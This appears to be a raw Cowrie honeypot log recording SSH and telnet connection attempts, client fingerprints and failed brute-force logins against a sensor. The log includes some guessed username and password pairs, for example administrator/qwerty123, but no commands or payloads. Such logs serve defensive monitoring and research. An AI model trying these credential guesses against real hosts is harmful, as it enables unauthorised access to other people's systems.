{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57222,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed57e3ca122c","protocol":"ssh","message":"New connection: 159.203.92.129:57222 (159.203.135.109:22) [session: ed57e3ca122c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:48.546889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:48.551876Z","src_ip":"159.203.92.129","session":"ed57e3ca122c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:48.556859Z","src_ip":"159.203.92.129","session":"ed57e3ca122c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ap","password":"123456","message":"login attempt [ap/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:48.583039Z","src_ip":"159.203.92.129","session":"ed57e3ca122c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:49.589288Z","src_ip":"159.203.92.129","session":"ed57e3ca122c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":38212,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ed97f5d413","protocol":"ssh","message":"New connection: 78.128.112.74:38212 (159.203.135.109:22) [session: e0ed97f5d413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:51.141387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:51.346455Z","src_ip":"78.128.112.74","session":"e0ed97f5d413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:51.350061Z","src_ip":"78.128.112.74","session":"e0ed97f5d413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"modem","message":"login attempt [user/modem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:52.768843Z","src_ip":"78.128.112.74","session":"e0ed97f5d413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:18:53.895080Z","src_ip":"78.128.112.74","session":"e0ed97f5d413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":37878,"dst_ip":"159.203.135.109","dst_port":22,"session":"a24b28327762","protocol":"ssh","message":"New connection: 103.228.69.212:37878 (159.203.135.109:22) [session: a24b28327762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:13.934086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:13.939529Z","src_ip":"103.228.69.212","session":"a24b28327762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:14.166842Z","src_ip":"103.228.69.212","session":"a24b28327762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazXDR%","message":"login attempt [ubuntu/1qazXDR%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:15.107895Z","src_ip":"103.228.69.212","session":"a24b28327762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56294,"dst_ip":"159.203.135.109","dst_port":23,"session":"8450f15055aa","protocol":"telnet","message":"New connection: 185.26.126.47:56294 (159.203.135.109:23) [session: 8450f15055aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:16.103800Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:16.336700Z","src_ip":"103.228.69.212","session":"a24b28327762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.425966501235962,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:25.529643Z","src_ip":"185.26.126.47","session":"8450f15055aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50036,"dst_ip":"159.203.135.109","dst_port":22,"session":"59e5799bdfa1","protocol":"ssh","message":"New connection: 159.203.92.129:50036 (159.203.135.109:22) [session: 59e5799bdfa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:31.263257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:31.267498Z","src_ip":"159.203.92.129","session":"59e5799bdfa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:31.271546Z","src_ip":"159.203.92.129","session":"59e5799bdfa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ap","password":"aAladin1!a","message":"login attempt [ap/aAladin1!a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:31.283149Z","src_ip":"159.203.92.129","session":"59e5799bdfa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":44912,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26ddb54b262","protocol":"ssh","message":"New connection: 148.216.28.11:44912 (159.203.135.109:22) [session: a26ddb54b262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:31.900305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:31.907655Z","src_ip":"148.216.28.11","session":"a26ddb54b262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:31.987849Z","src_ip":"148.216.28.11","session":"a26ddb54b262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"Aa@123456","message":"login attempt [ali/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:32.282260Z","src_ip":"148.216.28.11","session":"a26ddb54b262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:32.287858Z","src_ip":"159.203.92.129","session":"59e5799bdfa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:33.350451Z","src_ip":"148.216.28.11","session":"a26ddb54b262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":38354,"dst_ip":"159.203.135.109","dst_port":22,"session":"124310574d62","protocol":"ssh","message":"New connection: 69.6.221.248:38354 (159.203.135.109:22) [session: 124310574d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:34.849581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:34.854499Z","src_ip":"69.6.221.248","session":"124310574d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:34.982774Z","src_ip":"69.6.221.248","session":"124310574d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toor","password":"test","message":"login attempt [toor/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:35.473676Z","src_ip":"69.6.221.248","session":"124310574d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:36.591094Z","src_ip":"69.6.221.248","session":"124310574d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00085353851318,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:38.544624Z","src_ip":"154.110.11.213","session":"0fa4fc402ac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":38250,"dst_ip":"10.17.0.5","dst_port":23,"session":"4253aa8ebf0c","protocol":"telnet","message":"New connection: 154.110.11.213:38250 (10.17.0.5:23) [session: 4253aa8ebf0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:38.882886Z"}
{"eventid":"cowrie.session.closed","duration":120.00128602981567,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:40.339505Z","src_ip":"154.110.11.213","session":"e4724837ad12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":39315,"dst_ip":"10.17.0.5","dst_port":23,"session":"78f7a615e6b8","protocol":"telnet","message":"New connection: 154.110.11.213:39315 (10.17.0.5:23) [session: 78f7a615e6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:19:43.758691Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36930,"dst_ip":"10.17.0.5","dst_port":23,"session":"54ec350ebe05","protocol":"telnet","message":"New connection: 198.50.122.223:36930 (10.17.0.5:23) [session: 54ec350ebe05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:01.408403Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":54732,"dst_ip":"159.203.135.109","dst_port":22,"session":"34da38c85860","protocol":"ssh","message":"New connection: 103.228.69.212:54732 (159.203.135.109:22) [session: 34da38c85860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:13.521308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:13.526837Z","src_ip":"103.228.69.212","session":"34da38c85860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:13.764361Z","src_ip":"103.228.69.212","session":"34da38c85860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"qwerty123","message":"login attempt [administrator/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:14.743199Z","src_ip":"103.228.69.212","session":"34da38c85860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:15.983171Z","src_ip":"103.228.69.212","session":"34da38c85860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38034,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e504be9f2bd","protocol":"ssh","message":"New connection: 159.203.92.129:38034 (159.203.135.109:22) [session: 0e504be9f2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:16.166445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:20:16.171170Z","src_ip":"159.203.92.129","session":"0e504be9f2bd","protocol":"ssh"}
